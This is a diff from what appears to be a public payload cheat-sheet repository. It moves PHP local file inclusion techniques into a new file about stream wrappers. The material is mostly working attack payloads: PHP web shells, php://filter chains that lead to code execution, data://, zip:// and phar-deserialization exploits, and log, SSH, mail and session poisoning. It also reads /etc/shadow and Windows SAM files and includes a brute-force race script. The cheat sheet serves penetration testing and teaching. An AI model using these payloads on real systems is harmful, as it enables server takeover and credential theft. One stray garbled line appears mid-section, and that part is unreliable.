@@ -113,294 +128,18 @@ When `allow_url_include` and `allow_url_fopen` are set to `Off`. It is still pos
 2. Write a PHP code inside a file : `shell.php`
 3. Include it `http://example.com/index.php?page=\\10.0.0.1\share\shell.php`
 
+## Labs
 
-## LFI / RFI using wrappers
+- [Root Me - Local File Inclusion](https://www.root-me.org/en/Challenges/Web-Server/Local-File-Inclusion)
-
+- [Root Me - Local File Inclusion - Double encoding](https://www.root-me.org/en/Challenges/Web-Server/Local-File-Inclusion-Double-encoding)
-### Wrapper php://filter
+- [Root Me - Remote File Inclusion](https://www.root-me.org/en/Challenges/Web-Server/Remote-File-Inclusion)
-
+- [Root Me - PHP - Filters](https://www.root-me.org/en/Challenges/Web-Server/PHP-Filters)
-The part "php://filter" is case insensitive
-
-```powershell
-http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
-http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
-http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
-```
-
-can be chained with a compression wrapper for large files.
-
-```powershell
-http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
-```
-
-NOTE: Wrappers can be chained multiple times : `php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s`
-
-```powershell
-./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page 
-curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php
-```
-
-### Wrapper zip://
-
-```python
-echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
-zip payload.zip payload.php;
-mv payload.zip shell.jpg;
-rm payload.php
-
-http://example.com/index.php?page=zip://shell.jpg%23payload.php
-```
-
-### Wrapper data://
-
-```powershell
-http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
-NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
-```
-
-Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
-
-### Wrapper expect://
-
-```powershell
-http://example.com/index.php?page=expect://id
-http://example.com/index.php?page=expect://ls
-```
-
-### Wrapper input://
-
-Specify your payload in the POST parameters, this can be done with a simple `curl` command.
-
-```powershell
-curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v
-```
-
-Alternatively, Kadimus has a module to automate this attack.
-
-```powershell
-./kadimus -u "https://example.com/index.php?page=php://input%00"  -C '<?php echo shell_exec("id"); ?>' -T input
-```
-
-### Wrapper phar://
-
-Create a phar file with a serialized object in its meta-data.
-
-```php
-// create new Phar
-$phar = new Phar('test.phar');
-$phar->startBuffering();
-$phar->addFromString('test.txt', 'text');
-$phar->setStub('<?php __HALT_COMPILER(); ? >');
-
-// add object of any class as meta data
-class AnyClass {}
-$object = new AnyClass;
-$object->data = 'rips';
-$phar->setMetadata($object);
-$phar->stopBuffering();
-```
-
-If a file operation is now performed on our existing Phar file via the phar:// wrapper, then its serialized meta data is unserialized. If this application has a class named AnyClass and it has the magic method __destruct() or __wakeup() defined, then those methods are automatically invoked
-
-```php
-class AnyClass {
-    function __destruct() {
-        echo $this->data;
-    }
-}
-// output: rips
-include('phar://test.phar');
-```
-
-NOTE: The unserialize is triggered for the phar:// wrapper in any file operation, `file_exists` and many more.
-
-## LFI to RCE via /proc/*/fd
-
-1. Upload a lot of shells (for example : 100)
-2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)
-
-## LFI to RCE via /proc/self/environ
-
-Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
-
-```powershell
-GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
-User-Agent: <?=phpinfo(); ?>
-```
-
-## LFI to RCE via upload
-
-If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).
-
-```powershell
-http://example.com/index.php?page=path/to/uploaded/file.png
-```
-
-In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf
-
-## LFI to RCE via upload (race)
-Worlds Quitest Let's Play"
-* Upload a file and trigger a self-inclusion.
-* Repeat 1 a shitload of time to:
-* increase our odds of winning the race
-* increase our guessing odds
-* Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}
-* Enjoy our shell.
-
-```python
-import itertools
-import requests
-import sys
-
-print('[+] Trying to win the race')
-f = {'file': open('shell.php', 'rb')}
-for _ in range(4096 * 4096):
-    requests.post('http://target.com/index.php?c=index.php', f)
-
-
-print('[+] Bruteforcing the inclusion')
-for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
-    url = 'http://target.com/index.php?c=/tmp/php' + fname
-    r = requests.get(url)
-    if 'load average' in r.text:  # <?php echo system('uptime');
-        print('[+] We have got a shell: ' + url)
-        sys.exit(0)
-
-print('[x] Something went wrong, please try again')
-```
-
-
-## LFI to RCE via phpinfo()
-
-https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
-Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
-
-## LFI to RCE via controlled log file
-
-Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.
-
-```powershell
-http://example.com/index.php?page=/var/log/apache/access.log
-http://example.com/index.php?page=/var/log/apache/error.log
-http://example.com/index.php?page=/var/log/nginx/access.log
-http://example.com/index.php?page=/var/log/nginx/error.log
-http://example.com/index.php?page=/var/log/vsftpd.log
-http://example.com/index.php?page=/var/log/sshd.log
-http://example.com/index.php?page=/var/log/mail
-http://example.com/index.php?page=/var/log/httpd/error_log
-http://example.com/index.php?page=/usr/local/apache/log/error_log
-http://example.com/index.php?page=/usr/local/apache2/log/error_log
-```
-
-### RCE via SSH
-
-Try to ssh into the box with a PHP code as username `<?php system($_GET["cmd"]);?>`.
-
-```powershell
-ssh <?php system($_GET["cmd"]);?>@10.10.10.10
-```
-
-Then include the SSH log files inside the Web Application.
-
-```powershell
-http://example.com/index.php?page=/var/log/auth.log&cmd=id
-```
-
-### RCE via Mail
-
-First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`.
-
-```powershell
-root@kali:~# telnet 10.10.10.10. 25
-Trying 10.10.10.10....
-Connected to 10.10.10.10..
-Escape character is '^]'.
-220 straylight ESMTP Postfix (Debian/GNU)
-helo ok
-250 straylight
-mail from: mail@example.com
-250 2.1.0 Ok
-rcpt to: root
-250 2.1.5 Ok
-data
-354 End data with <CR><LF>.<CR><LF>
-subject: <?php echo system($_GET["cmd"]); ?>
-data2
-.
-```
-
-In some cases you can also send the email with the `mail` command line.
-
-```powershell
-mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null
-```
-
-## LFI to RCE via PHP sessions
-
-Check if the website use PHP Session (PHPSESSID)
-
-```javascript
-Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
-Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
-```
-
-In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] files
-
-```javascript
-/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
-user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
-```
-
-Set the cookie to `<?php system('cat /etc/passwd');?>`
-
-```powershell
-login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
-```
-
-Use the LFI to include the PHP session file
-
-```powershell
-login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
-```
-
-## LFI to RCE via credentials files
-
-This method require high privileges inside the application in order to read the sensitive files.
-
-### Windows version
-
-First extract `sam` and `system` files.
-
-```powershell
-http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam
-http://example.com/index.php?page=../../../../../../WINDOWS/repair/system
-```
-
-Then extract hashes from these files `samdump2 SYSTEM SAM > hashes.txt`, and crack them with `hashcat/john` or replay them using the Pass The Hash technique.
-
-### Linux version
-
-First extract `/etc/shadow` files.
-
-```powershell
-http://example.com/index.php?page=../../../../../../etc/shadow
-```
-
-Then crack the hashes inside in order to login via SSH on the machine.
 
 ## References
 
-* [OWASP LFI](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion)
+- [CVV #1: Local File Inclusion - SI9INT - Jun 20, 2018](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
-* [HighOn.coffee LFI Cheat](https://highon.coffee/blog/lfi-cheat-sheet/)
+- [Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction - Mannu Linux - 2019-05-12](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html)
-* [Turning LFI to RFI](https://l.avala.mp/?p=241)
+- [Is PHP vulnerable and under what conditions? - April 13, 2015 - Andreas Venieris](http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html)
-* [Is PHP vulnerable and under what conditions?](http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html)
+- [LFI Cheat Sheet - @Arr0way - 24 Apr 2016](https://highon.coffee/blog/lfi-cheat-sheet/)
-* [Upgrade from LFI to RCE via PHP Sessions](https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/)
+- [Testing for Local File Inclusion - OWASP - 25 June 2017](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion)
-* [Local file inclusion tricks](http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html)
+- [Turning LFI into RFI - Grayson Christopher - 2017-08-14](https://web.archive.org/web/20170815004721/https://l.avala.mp/?p=241)
-* [CVV #1: Local File Inclusion - SI9INT](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
-* [Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos](http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html)
-* [Baby^H Master PHP 2017 by @orangetw](https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017)
-* [Чтение файлов => unserialize !](https://rdot.org/forum/showthread.php?t=4379)
-* [New PHP Exploitation Technique - 14 Aug 2018 by Dr. Johannes Dahse](https://blog.ripstech.com/2018/new-php-exploitation-technique/)
-* [It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf)
-* [Local file inclusion mini list - Penetrate.io](https://penetrate.io/2014/09/25/local-file-inclusion-mini-list/)
-* [CVV #1: Local File Inclusion - @SI9INT - Jun 20, 2018](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
-* [Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html?m=1)

File Inclusion/Wrappers.md

@@ -0,0 +1,275 @@
+# Inclusion Using Wrappers
+
+A wrapper in the context of file inclusion vulnerabilities refers to the protocol or method used to access or include a file. Wrappers are often used in PHP or other server-side languages to extend how file inclusion functions, enabling the use of protocols like HTTP, FTP, and others in addition to the local filesystem.
+
+## Summary
+
+- [Wrapper php://filter](#wrapper-phpfilter)
+- [Wrapper data://](#wrapper-data)
+- [Wrapper expect://](#wrapper-expect)
+- [Wrapper input://](#wrapper-input)
+- [Wrapper zip://](#wrapper-zip)
+- [Wrapper phar://](#wrapper-phar)
+    - [PHAR Archive Structure](#phar-archive-structure)
+    - [PHAR Deserialization](#phar-deserialization)
+- [Wrapper convert.iconv:// and dechunk://](#wrapper-converticonv-and-dechunk)
+    - [Leak file content from error-based oracle](#leak-file-content-from-error-based-oracle)
+    - [Leak file content inside a custom format output](#leak-file-content-inside-a-custom-format-output)
+- [References](#references)
+
+## Wrapper php://filter
+
+The part "`php://filter`" is case insensitive
+
+| Filter | Description |
+| ------ | ----------- |
+| `php://filter/read=string.rot13/resource=index.php` | Display index.php as rot13 |
+| `php://filter/convert.iconv.utf-8.utf-16/resource=index.php` | Encode index.php from utf8 to utf16  |
+| `php://filter/convert.base64-encode/resource=index.php` | Display index.php as a base64 encoded string |
+
+```powershell
+http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
+http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
+http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
+http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
+```
+
+Wrappers can be chained with a compression wrapper for large files.
+
+```powershell
+http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
+```
+
+NOTE: Wrappers can be chained multiple times using `|` or `/`:
+
+- Multiple base64 decodes: `php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s`
+- deflate then `base64encode` (useful for limited character exfil): `php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php`
+
+```powershell
+./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page 
+curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php
+```
+
+Also there is a way to turn the `php://filter` into a full RCE.
+
+- [synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) - A CLI to generate PHP filters chain
+
+  ```powershell
+  $ python3 php_filter_chain_generator.py --chain '<?php phpinfo();?>'
+  [+] The following gadget chain will generate the following code : <?php phpinfo();?> (base64 value: PD9waHAgcGhwaW5mbygpOz8+)
+  php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.UCS-2.UTF8|convert.iconv.L6.UTF8|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
+  ```
+
+- [LFI2RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/Files/LFI2RCE.py) to generate a custom payload.
+
+  ```powershell
+  # vulnerable file: index.php
+  # vulnerable parameter: file
+  # executed command: id
+  # executed PHP code: <?=`$_GET[0]`;;?>
+  curl "127.0.0.1:8000/index.php?0=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd"
+  ```
+
+## Wrapper data://
+
+The payload encoded in base64 is "`<?php system($_GET['cmd']);echo 'Shell done !'; ?>`".
+
+```powershell
+http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
+```
+
+Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
+
+## Wrapper expect://
+
+When used in PHP or a similar application, it may allow an attacker to specify commands to execute in the system's shell, as the `expect://` wrapper can invoke shell commands as part of its input.
+
+```powershell
+http://example.com/index.php?page=expect://id
+http://example.com/index.php?page=expect://ls
+```
+
+## Wrapper input://
+
+Specify your payload in the POST parameters, this can be done with a simple `curl` command.
+
+```powershell
+curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v
+```
+
+Alternatively, Kadimus has a module to automate this attack.
+
+```powershell
+./kadimus -u "https://example.com/index.php?page=php://input%00"  -C '<?php echo shell_exec("id"); ?>' -T input
+```
+
+## Wrapper zip://
+
+- Create an evil payload: `echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;`
+- Zip the file
+
+  ```python
+  zip payload.zip payload.php;
+  mv payload.zip shell.jpg;
+  rm payload.php
+  ```
+
+- Upload the archive and access the file using the wrappers:
+
+  ```ps1
+  http://example.com/index.php?page=zip://shell.jpg%23payload.php
+  ```
+
+## Wrapper phar://
+
+### PHAR archive structure
+
+PHAR files work like ZIP files, when you can use the `phar://` to access files stored inside them.
+
+- Create a phar archive containing a backdoor file: `php --define phar.readonly=0 archive.php`
+
+  ```php
+  <?php
+    $phar = new Phar('archive.phar');
+    $phar->startBuffering();
+    $phar->addFromString('test.txt', '<?php phpinfo(); ?>');
+    $phar->setStub('<?php __HALT_COMPILER(); ?>');
+    $phar->stopBuffering();
+  ?>
+  ```
+
+- Use the `phar://` wrapper: `curl http://127.0.0.1:8001/?page=phar:///var/www/html/archive.phar/test.txt`
+
+### PHAR deserialization
+
+:warning: This technique doesn't work on PHP 8+, the deserialization has been removed.
+
+If a file operation is now performed on our existing phar file via the `phar://` wrapper, then its serialized meta data is unserialized. This vulnerability occurs in the following functions, including file_exists: `include`, `file_get_contents`, `file_put_contents`, `copy`, `file_exists`, `is_executable`, `is_file`, `is_dir`, `is_link`, `is_writable`, `fileperms`, `fileinode`, `filesize`, `fileowner`, `filegroup`, `fileatime`, `filemtime`, `filectime`, `filetype`, `getimagesize`, `exif_read_data`, `stat`, `lstat`, `touch`, `md5_file`, etc.
+
+This exploit requires at least one class with magic methods such as `__destruct()` or `__wakeup()`.
+Let's take this `AnyClass` class as example, which execute the parameter data.
+
+```php
+class AnyClass {
+    public $data = null;
+    public function __construct($data) {
+        $this->data = $data;
+    }
+    
+    function __destruct() {
+        system($this->data);
+    }
+}
+
+...
+echo file_exists($_GET['page']);
+```
+
+We can craft a phar archive containing a serialized object in its meta-data.
+
+```php
+// create new Phar
+$phar = new Phar('deser.phar');
+$phar->startBuffering();
+$phar->addFromString('test.txt', 'text');
+$phar->setStub('<?php __HALT_COMPILER(); ?>');
+
+// add object of any class as meta data
+class AnyClass {
+    public $data = null;
+    public function __construct($data) {
+        $this->data = $data;
+    }
+    
+    function __destruct() {
+        system($this->data);
+    }
+}
+$object = new AnyClass('whoami');
+$phar->setMetadata($object);
+$phar->stopBuffering();
+```
+
+Finally call the phar wrapper: `curl http://127.0.0.1:8001/?page=phar:///var/www/html/deser.phar`
+
+NOTE: you can use the `$phar->setStub()` to add the magic bytes of JPG file: `\xff\xd8\xff`
+
+```php
+$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
+```
+
+## Wrapper convert.iconv:// and dechunk://
+
+### Leak file content from error-based oracle
+
+- `convert.iconv://`: convert input into another folder (`convert.iconv.utf-16le.utf-8`)
+- `dechunk://`: if the string contains no newlines, it will wipe the entire string if and only if the string starts with A-Fa-f0-9
+
+The goal of this exploitation is to leak the content of a file, one character at a time, based on the [DownUnderCTF](https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py) writeup.
+
+**Requirements**:
+
+- Backend must not use `file_exists` or `is_file`.
+- Vulnerable parameter should be in a `POST` request.
+    - You can't leak more than 135 characters in a GET request due to the size limit
+
+The exploit chain is based on PHP filters: `iconv` and `dechunk`:
+
+1. Use the `iconv` filter with an encoding increasing the data size exponentially to trigger a memory error.
+2. Use the `dechunk` filter to determine the first character of the file, based on the previous error.
+3. Use the `iconv` filter again with encodings having different bytes ordering to swap remaining characters with the first one.
+
+Exploit using [synacktiv/php_filter_chains_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit), the script will use either the `HTTP status code: 500` or the time as an error-based oracle to determine the character.
+
+```ps1
+$ python3 filters_chain_oracle_exploit.py --target http://127.0.0.1 --file '/test' --parameter 0   
+[*] The following URL is targeted : http://127.0.0.1
+[*] The following local file is leaked : /test
+[*] Running POST requests
+[+] File /test leak is finished!
+```
+
+### Leak file content inside a custom format output
+
+- [ambionics/wrapwrap](https://github.com/ambionics/wrapwrap) - Generates a `php://filter` chain that adds a prefix and a suffix to the contents of a file.
+
+To obtain the contents of some file, we would like to have: `{"message":"<file contents>"}`.
+
+```ps1
+./wrapwrap.py /etc/passwd 'PREFIX' 'SUFFIX' 1000
+./wrapwrap.py /etc/passwd '{"message":"' '"}' 1000
+./wrapwrap.py /etc/passwd '<root><name>' '</name></root>' 1000
+```
+
+This can be used against vulnerable code like the following.
+
+```php
+<?php
+  $data = file_get_contents($_POST['url']);
+  $data = json_decode($data);
+  echo $data->message;
